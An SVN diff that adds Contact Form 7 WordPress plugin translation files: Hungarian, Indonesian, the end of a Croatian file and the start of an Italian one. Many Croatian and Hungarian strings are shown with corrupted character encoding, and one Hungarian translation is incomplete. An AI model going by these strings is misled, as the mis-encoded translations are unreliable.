+#: contact-form-7/includes/admin-panel.php:220
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Postoji polje koje poÅ¡iljatelj mora ispuniti"
+
+#: contact-form-7/includes/admin-panel.php:224
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "PoÅ¡iljatelj nije toÄno odgovorio na pitanje"
+
+#: contact-form-7/includes/admin-panel.php:228
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "UneÅ¡en kod se ne poklapa s CAPTCHA-om"
+
+#: contact-form-7/includes/admin-panel.php:232
+msgid "Uploading a file fails for any reason"
+msgstr "UÄitavanje datoteke iz nekog razloga nije izvrÅ¡eno"
+
+#: contact-form-7/includes/admin-panel.php:236
+msgid "Uploaded file is not allowed file type"
+msgstr "UÄitana datoteka nije dozvoljena"
+
+#: contact-form-7/includes/admin-panel.php:240
+msgid "Uploaded file is too large"
+msgstr "UÄitana datoteka je prevelika"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hu_HU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hu_HU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hu_HU.po	(revision 44)
@@ -0,0 +1,471 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7 v1.hu\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-05-25 10:36+0900\n"
+"PO-Revision-Date: 2009-05-29 09:39+0100\n"
+"Last-Translator: HiA <hia@itblog.hu>\n"
+"Language-Team: HiA <hia@itblog.hu>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Hungarian\n"
+"X-Poedit-Country: HUNGARY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:321
+msgid "Contact form"
+msgstr "Kapcsolat Å±rlap"
+
+#: contact-form-7/admin/admin-panel.php:6
+#: contact-form-7/admin/admin.php:111
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/admin/admin-panel.php:21
+msgid "Add new"
+msgstr "Ãj hozzÃ¡adÃ¡sa"
+
+#: contact-form-7/admin/admin-panel.php:43
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "MÃ¡sold Ã©s illeszd be ezt a kÃ³dot a bejegyzÃ©sdbe, oldaladba vagy szÃ¶veg widget tartalmÃ¡ba."
+
+#: contact-form-7/admin/admin-panel.php:50
+#: contact-form-7/admin/admin-panel.php:290
+msgid "Save"
+msgstr "MentÃ©s"
+
+#: contact-form-7/admin/admin-panel.php:57
+msgid "Copy"
+msgstr "MÃ¡solÃ¡s"
+
+#: contact-form-7/admin/admin-panel.php:61
+msgid "Delete"
+msgstr "TÃ¶rlÃ©s"
+
+#: contact-form-7/admin/admin-panel.php:63
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Ennek a kapcsolat Å±rlapnak a tÃ¶rlÃ©sÃ©re kÃ©szÃŒl.\n"
+" 'MÃ©gse', ha nem akarja, 'OK' a tÃ¶rlÃ©shez."
+
+#: contact-form-7/admin/admin-panel.php:78
+msgid "Form"
+msgstr "Å°rlap"
+
+#: contact-form-7/admin/admin-panel.php:98
+msgid "Mail"
+msgstr "LevÃ©l"
+
+#: contact-form-7/admin/admin-panel.php:105
+#: contact-form-7/admin/admin-panel.php:161
+msgid "To:"
+msgstr "CÃ­mzett:"
+
+#: contact-form-7/admin/admin-panel.php:109
+#: contact-form-7/admin/admin-panel.php:165
+msgid "From:"
+msgstr "FeladÃ³:"
+
+#: contact-form-7/admin/admin-panel.php:113
+#: contact-form-7/admin/admin-panel.php:169
+msgid "Subject:"
+msgstr "TÃ¡rgy:"
+
+#: contact-form-7/admin/admin-panel.php:118
+#: contact-form-7/admin/admin-panel.php:174
+msgid "Additional headers:"
+msgstr "TovÃ¡bbi fejlÃ©cek:"
+
+#: contact-form-7/admin/admin-panel.php:122
+#: contact-form-7/admin/admin-panel.php:178
+msgid "File attachments:"
+msgstr "Csatolt fÃ¡jlok:"
+
+#: contact-form-7/admin/admin-panel.php:124
+#: contact-form-7/admin/admin-panel.php:180
+msgid "(You need WordPress 2.7 or greater to use this feature)"
+msgstr "(Wordpress 2.7 vagy kÃ©sÅbbi vÃ¡ltozat szÃŒksÃ©ges ehhez a funkciÃ³hoz.)"
+
+#: contact-form-7/admin/admin-panel.php:132
+#: contact-form-7/admin/admin-panel.php:188
+msgid "Use HTML content type"
+msgstr "HasznÃ¡lj HTML tartalmi tÃ­pust"
+
+#: contact-form-7/admin/admin-panel.php:137
+#: contact-form-7/admin/admin-panel.php:193
+msgid "Message body:"
+msgstr "Ãzenet tÃ¶rzse:"
+
+#: contact-form-7/admin/admin-panel.php:148
+msgid "Mail (2)"
+msgstr "LevÃ©l (2)"
+
+#: contact-form-7/admin/admin-panel.php:155
+msgid "Use mail (2)"
+msgstr "LevÃ©l (2) hasznÃ¡lata"
+
+#: contact-form-7/admin/admin-panel.php:204
+msgid "Messages"
+msgstr "Ãzenetek"
+
+#: contact-form-7/admin/admin-panel.php:212
+msgid "Sender's message was sent successfully"
+msgstr "Az ÃŒzenet sikeresen el lett kÃŒldve"
+
+#: contact-form-7/admin/admin-panel.php:216
+msgid "Sender's message was failed to send"
+msgstr "Sikertelen ÃŒzenet kÃŒldÃ©s"
+
+#: contact-form-7/admin/admin-panel.php:220
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet spamnek tekintette a kÃŒldÃ©st"
+
+#: contact-form-7/admin/admin-panel.php:224
+msgid "Validation errors occurred"
+msgstr "JÃ³vÃ¡hagyÃ¡s hiba tÃ¶rtÃ©nt"
+
+#: contact-form-7/admin/admin-panel.php:228
+msgid "There is a field that sender is needed to fill in"
+msgstr "Van egy mezÅ, amit a kÃŒldÅnek ki kell tÃ¶ltenie"
+
+#: contact-form-7/admin/admin-panel.php:232
+msgid "Email address that sender entered is invalid"
+msgstr "A beÃ­rt e-mail cÃ­m helytelen"
+
+#: contact-form-7/admin/admin-panel.php:236
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Van egy mezÅ, amit a kÃŒldÅnek el kell fogadnia"
+
+#: contact-form-7/admin/admin-panel.php:240
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "FeladÃ³ nem adta meg a teszt kÃ©rdÃ©sre a helyes vÃ¡laszt"
+
+#: contact-form-7/admin/admin-panel.php:244
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "A kÃŒldÅ Ã¡ltal beÃ­rt kÃ³d nem egyezik a CAPTCHA-val"
+
+#: contact-form-7/admin/admin-panel.php:248
+msgid "Uploading a file fails for any reason"
+msgstr "FÃ¡jl feltÃ¶ltÃ©s sikertelen"
+
+#: contact-form-7/admin/admin-panel.php:252
+msgid "Uploaded file is not allowed file type"
+msgstr "FeltÃ¶ltÃ¶tt fÃ¡jl tÃ­pusa nem megengedett"
+
+#: contact-form-7/admin/admin-panel.php:256
+msgid "Uploaded file is too large"
+msgstr "FeltÃ¶ltÃ¶tt fÃ¡jl tÃºl nagy"
+
+#: contact-form-7/admin/admin-panel.php:269
+msgid "Additional Settings"
+msgstr "TovÃ¡bbi beÃ¡llÃ­tÃ¡sok"
+
+#: contact-form-7/admin/admin.php:157
+msgid "optional"
+msgstr "vÃ¡laszthatÃ³"
+
+#: contact-form-7/admin/admin.php:158
+msgid "Generate Tag"
+msgstr "ÃltalÃ¡nos CÃ­mke"
+
+#: contact-form-7/admin/admin.php:159
+msgid "Text field"
+msgstr "SzÃ¶veg mezÅ"
+
+#: contact-form-7/admin/admin.php:160
+msgid "Email field"
+msgstr "E-mail mezÅ"
+
+#: contact-form-7/admin/admin.php:161
+msgid "Text area"
+msgstr "TÃ¶bbsoros szÃ¶veg"
+
+#: contact-form-7/admin/admin.php:162
+msgid "Drop-down menu"
+msgstr "LenyÃ­lÃ³ menÃŒ"
+
+#: contact-form-7/admin/admin.php:163
+msgid "Checkboxes"
+msgstr "JelÃ¶lÅnÃ©gyzetek"
+
+#: contact-form-7/admin/admin.php:164
+msgid "Radio buttons"
+msgstr "VÃ¡lasztÃ³gombok"
+
+#: contact-form-7/admin/admin.php:165
+msgid "Acceptance"
+msgstr "ElfogadÃ¡s"
+
+#: contact-form-7/admin/admin.php:166
+msgid "Make this checkbox checked by default?"
+msgstr "Ez a jelÃ¶lÅnyÃ©gyzet alapÃ©rtelmezettnek be legyen kapcsolva?"
+
+#: contact-form-7/admin/admin.php:167
+msgid "Make this checkbox work inversely?"
+msgstr "Ez a jelÃ¶lÅnÃ©gyzet mÅ±kÃ¶djÃ¶n fordÃ­tva?"
+
+#: contact-form-7/admin/admin.php:168
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Azt jelenti, hogy az a lÃ¡togatÃ³ kikapcsolja, aki elfogadja a feltÃ©teleket."
+
+#: contact-form-7/admin/admin.php:169
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/admin/admin.php:170
+msgid "Quiz"
+msgstr "Teszt"
+
+#: contact-form-7/admin/admin.php:171
+msgid "Quizzes"
+msgstr "Tesztek"
+
+#: contact-form-7/admin/admin.php:172
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* teszt|vÃ¡lasz (pl. 1+1=?|2)"
+
+#: contact-form-7/admin/admin.php:173
+msgid "File upload"
+msgstr "FÃ¡jl feltÃ¶ltÃ©s"
+
+#: contact-form-7/admin/admin.php:174
+msgid "bytes"
+msgstr "bÃ¡jtok"
+
+#: contact-form-7/admin/admin.php:175
+msgid "Submit button"
+msgstr "ElfogadÃ¡s gomb"
+
+#: contact-form-7/admin/admin.php:176
+msgid "Name"
+msgstr "NÃ©v"
+
+#: contact-form-7/admin/admin.php:177
+msgid "Required field?"
+msgstr "KÃ¶telezÅ mezÅ?"
+
+#: contact-form-7/admin/admin.php:178
+msgid "Allow multiple selections?"
+msgstr "EngedÃ©lyezett a tÃ¶bbszÃ¶rÃ¶s vÃ¡lasztÃ¡s?"
+
+#: contact-form-7/admin/admin.php:179
+msgid "Insert a blank item as the first option?"
+msgstr "ElsÅ lehetÅsÃ©gnek egy ÃŒres tÃ©tel beszÃºrÃ¡sa?"
+
+#: contact-form-7/admin/admin.php:180
+msgid "Make checkboxes exclusive?"
+msgstr "A jelÃ¶lÅnÃ©gyzetek kizÃ¡rÃ³ak legyenek?"
+
+#: contact-form-7/admin/admin.php:181
+msgid "Choices"
+msgstr "LehetÅsÃ©gek"
+
+#: contact-form-7/admin/admin.php:182
+msgid "Label"
+msgstr "Cimke"
+
+#: contact-form-7/admin/admin.php:183
+msgid "Default value"
+msgstr "AlapÃ©rtelmezett Ã©rtÃ©k"
+
+#: contact-form-7/admin/admin.php:184
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/admin/admin.php:185
+msgid "This field requires author's name"
+msgstr "Ebbe a mezÅbe a szerzÅ neve szÃŒksÃ©ges"
+
+#: contact-form-7/admin/admin.php:186
+msgid "This field requires author's URL"
+msgstr "Ebbe a mezÅbe a szerzÅ URL-je szÃŒksÃ©ges"
+
+#: contact-form-7/admin/admin.php:187
+msgid "This field requires author's email address"
+msgstr "Ebbe a mezÅbe a szerzÅ e-mail cÃ­me szÃŒksÃ©ges"
+
+#: contact-form-7/admin/admin.php:188
+msgid "Copy this code and paste it into the form left."
+msgstr "MÃ¡sold Ã©s illeszd be ezt a kÃ³dot a bal oldali Å±rlapba."
+
+#: contact-form-7/admin/admin.php:189
+msgid "Foreground color"
+msgstr "ElÅtÃ©r szÃ­n"
+
+#: contact-form-7/admin/admin.php:190
+msgid "Background color"
+msgstr "HÃ¡ttÃ©r szÃ­n"
+
+#: contact-form-7/admin/admin.php:191
+msgid "Image size"
+msgstr "KÃ©p mÃ©rete"
+
+#: contact-form-7/admin/admin.php:192
+msgid "Small"
+msgstr "Kicsi"
+
+#: contact-form-7/admin/admin.php:193
+msgid "Medium"
+msgstr "KÃ¶zepes"
+
+#: contact-form-7/admin/admin.php:194
+msgid "Large"
+msgstr "Nagy"
+
+#: contact-form-7/admin/admin.php:195
+msgid "Image settings"
+msgstr "KÃ©p beÃ¡llÃ­tÃ¡sok"
+
+#: contact-form-7/admin/admin.php:196
+msgid "Input field settings"
+msgstr "Beviteli mezÅ beÃ¡llÃ­tÃ¡sai"
+
+#: contact-form-7/admin/admin.php:197
+msgid "For image"
+msgstr "KÃ©pnek"
+
+#: contact-form-7/admin/admin.php:198
+msgid "For input field"
+msgstr "Beviteli mezÅnek"
+
+#: contact-form-7/admin/admin.php:199
+msgid "* One choice per line."
+msgstr "* Egy vÃ¡lasztÃ¡s soronkÃ©nt."
+
+#: contact-form-7/admin/admin.php:200
+msgid "Show"
+msgstr "Mutat"
+
+#: contact-form-7/admin/admin.php:201
+msgid "Hide"
+msgstr "Elrejt"
+
+#: contact-form-7/admin/admin.php:202
+msgid "File size limit"
+msgstr "FÃ¡jl mÃ©ret korlÃ¡t"
+
+#: contact-form-7/admin/admin.php:203
+msgid "Acceptable file types"
+msgstr "HasznÃ¡lhatÃ³ fÃ¡jl tÃ­pusok"
+
+#: contact-form-7/admin/admin.php:204
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "MegjegyzÃ©s: CAPTCHA hasznÃ¡latÃ¡hoz a  Really Simple CAPTCHA plugin telepÃ­tÃ©se szÃŒksÃ©ges."
+
+#: contact-form-7/admin/admin.php:223
+msgid "Contact form created."
+msgstr "Kapcsolat Å±rlap lÃ©trehozva."
+
+#: contact-form-7/admin/admin.php:226
+msgid "Contact form saved."
+msgstr "Kapcsolat Å±rlap elmentve."
+
+#: contact-form-7/admin/admin.php:229
+msgid "Contact form deleted."
+msgstr "Kapcsolat Å±rlap tÃ¶rÃ¶lve."
+
+#: contact-form-7/admin/admin.php:240
+msgid "Untitled"
+msgstr "CÃ­m nÃ©lkÃŒl"
+
+#: contact-form-7/admin/admin.php:253
+msgid "Your Name"
+msgstr "Neved"
+
+#: contact-form-7/admin/admin.php:253
+#: contact-form-7/admin/admin.php:255
+msgid "(required)"
+msgstr "(szÃŒksÃ©ges)"
+
+#: contact-form-7/admin/admin.php:255
+msgid "Your Email"
+msgstr "E-mail cÃ­med"
+
+#: contact-form-7/admin/admin.php:257
+msgid "Subject"
+msgstr "TÃ¡rgy"
+
+#: contact-form-7/admin/admin.php:259
+msgid "Your Message"
+msgstr "Ãzeneted"
+
+#: contact-form-7/admin/admin.php:261
+#: contact-form-7/includes/classes.php:398
+msgid "Send"
+msgstr "KÃŒldÃ©s"
+
+#: contact-form-7/admin/admin.php:334
+msgid "Settings"
+msgstr "BeÃ¡llÃ­tÃ¡sok"
+
+#: contact-form-7/admin/admin.php:355
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7-nek szÃŒksÃ©ge van a tÃ¡mogatÃ¡sodra. KÃ©rlek adomÃ¡nyoz!"
+
+#: contact-form-7/admin/admin.php:356
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Hasznos neked ez a plugin? Ha tetszik, kÃ©rlek segÃ­tsd a fejlesztÅt!"
+
+#: contact-form-7/admin/admin.php:357
+msgid "Your contribution is needed for making this plugin better."
+msgstr "AdakozÃ¡sod szÃŒksÃ©ges, hogy jobb legyen ez a plugin. "
+
+#: contact-form-7/admin/admin.php:358
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "Plugin fejlesztÃ©se Ã©s tÃ¡mogatÃ¡sa tÃ©nyleg nehÃ©z munka. KÃ©rlek segÃ­ts!"
+
+#: contact-form-7/includes/classes.php:339
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "CAPTCHA hasznÃ¡latÃ¡hoz a <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin telepÃ­tÃ©se szÃŒksÃ©ges."
+
+#: contact-form-7/includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Az ÃŒzenet sikeresen el lett kÃŒldve. KÃ¶szÃ¶njÃŒk!"
+
+#: contact-form-7/includes/functions.php:8
+#: contact-form-7/includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Ãzenet kÃŒldÃ©se sikertelen. KÃ©rjÃŒk prÃ³bÃ¡lja meg kÃ©sÅbb vagy mÃ¡s mÃ³don keresse a kapcsolatot!"
+
+#: contact-form-7/includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "ÃrvÃ©nyesÃ­tÃ©si hiba. KÃ©rem a mezÅk megerÅsÃ­tÃ©sÃ©t Ã©s Ãºjra elfogadÃ¡sÃ¡t!"
+
+#: contact-form-7/includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "KÃ©rem a feltÃ©telek elfogadÃ¡sÃ¡t a folytatÃ¡shoz!"
+
+#: contact-form-7/includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "Az e-mail cÃ­m nem tÅ±nik helyesnek."
+
+#: contact-form-7/includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "KÃ©rem a szÃŒksÃ©ges mezÅk kitÃ¶ltÃ©sÃ©t!"
+
+#: contact-form-7/includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "A beÃ­rt kÃ³dod hibÃ¡s."
+
+#: contact-form-7/includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "A vÃ¡lasz ."
+
+#: contact-form-7/includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Sikertelen feltÃ¶ltÃ©s."
+
+#: contact-form-7/includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Ez a fÃ¡jl tÃ­pus nem megengedett."
+
+#: contact-form-7/includes/functions.php:28
+msgid "This file is too large."
+msgstr "Ez a fÃ¡jl tÃºl nagy."
+
+#~ msgid "Delete this contact form"
+#~ msgstr "Ennek a kapcsolat Å±rlapnak a tÃ¶rlÃ©se."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-id_ID.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-id_ID.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-id_ID.po	(revision 44)
@@ -0,0 +1,308 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: 2008-09-24 18:41+0700\n"
+"Last-Translator: Hendry Lee <hendry.lee@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "Formulir Kontak"
+
+#: contact-form-7/wp-contact-form-7.php:403
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "opsional"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "Buat Tag"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "Ruas teks"
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "Ruas email"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "Area teks"
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "Menu 'drop-down'"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "Checkbox"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "Tombol radio"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "Penerimaan"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "Buat checkbox ini tercentang secara bawaan"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "Buat checkbox ini bekerja secara terbalik?"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Ini berarti pengunjung yang menerima pernyataan menghilangkan centang."
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "Tombol kirim"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "Nama"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "Ruas yang diperlukan"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "Izinkan beberapa pilihan"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "Masukkan sebuah item kosong sebagai opsi pertama?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "But checkbox eksklusif?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "Pilihan"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "Label"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "Nilai bawaan"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr "Akismet"
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "Ruas ini memerlukan nama penulis"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "Ruas ini memerlukan URL penulis"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "Ruas ini memerlukan alamat email penulis"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "Salin dan tempel kode ini ke formulir"
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "Warna tampilan depan"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "Warna tampilan belakang"
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "Ukuran gambar"
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "Kecil"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "Sedang"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "Besar"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "Pengaturan gambar"
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "Pengaturan ruas masukan"
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "Untuk gambar"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "Untuk ruas masukan"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "* Satu pilihan per baris."
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "Formulir kontak telah diciptakan."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "Formulir kontak telah disimpan."
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "Formulir kontak telah dihapus."
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "Tanpa judul"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "Nama Anda"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "(dibutuhkan)"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "Email Anda"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "Subjek"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "Pesan Anda"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "Kirim"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "Pesan Anda telah terkirim. Terima kasih."
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Gagal mengirimkan pesan. Silakan coba beberapa saat lagi atau hubungi administrator dengan cara lain."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Terjadi kesalahan pada validasi. Silakan konfirmasi ruas-ruasnya dan kirim lagi."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "Mohon terima pernyataan untuk melanjutkan."
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "Alamat email sepertinya tidak valid."
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "Mohon isi ruas yang diperlukan."
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "Kode yang Anda masukkan salah."
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "Tambah yang baru"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "Salin dan tempel kode ini ke konten tulisan."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "Formulir"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "Surat"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "Kepada:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "Dari:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "Subjek:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "Tubuh pesan:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "Surat (2)"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "Pakai surat (2)"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "Simpan"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "Hapus formulir kontak ini"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Anda akan menghapus formulir kontak ini.\n"
+"  'Batal' untuk berhenti, 'OK' untuk hapus."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-it_IT.po	(revision 44)
@@ -0,0 +1,521 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7 in italiano\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-01 06:43+0900\n"
+"PO-Revision-Date: 2009-08-01 18:35+0100\n"
+"Last-Translator: Gianni Diurno (aka gidibao) <gidibao@gmail.com>\n"
+"Language-Team: Gianni Diurno | http://gidibao.net/ <gidibao@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/admin/admin-panel.php:9
+#, php-format
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href=\"%s\">create the table</a> for it to work."
+msgstr "<strong>Non esiste nel database la tabella di Contact Form 7t.</strong> Dovrai <a href=\"%s\">creare la tabella</a> affinchÃ© possa funzionare."
+
+#: contact-form-7/admin/admin-panel.php:12
+msgid "<strong>The database table for Contact Form 7 does not exist.</strong>"
+msgstr "<strong>Non esiste nel database la tabella di Contact Form 7.</strong>"
+
+#: contact-form-7/admin/admin-panel.php:17
+#: contact-form-7/admin/admin-panel.php:30
+#: contact-form-7/admin/admin.php:118
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
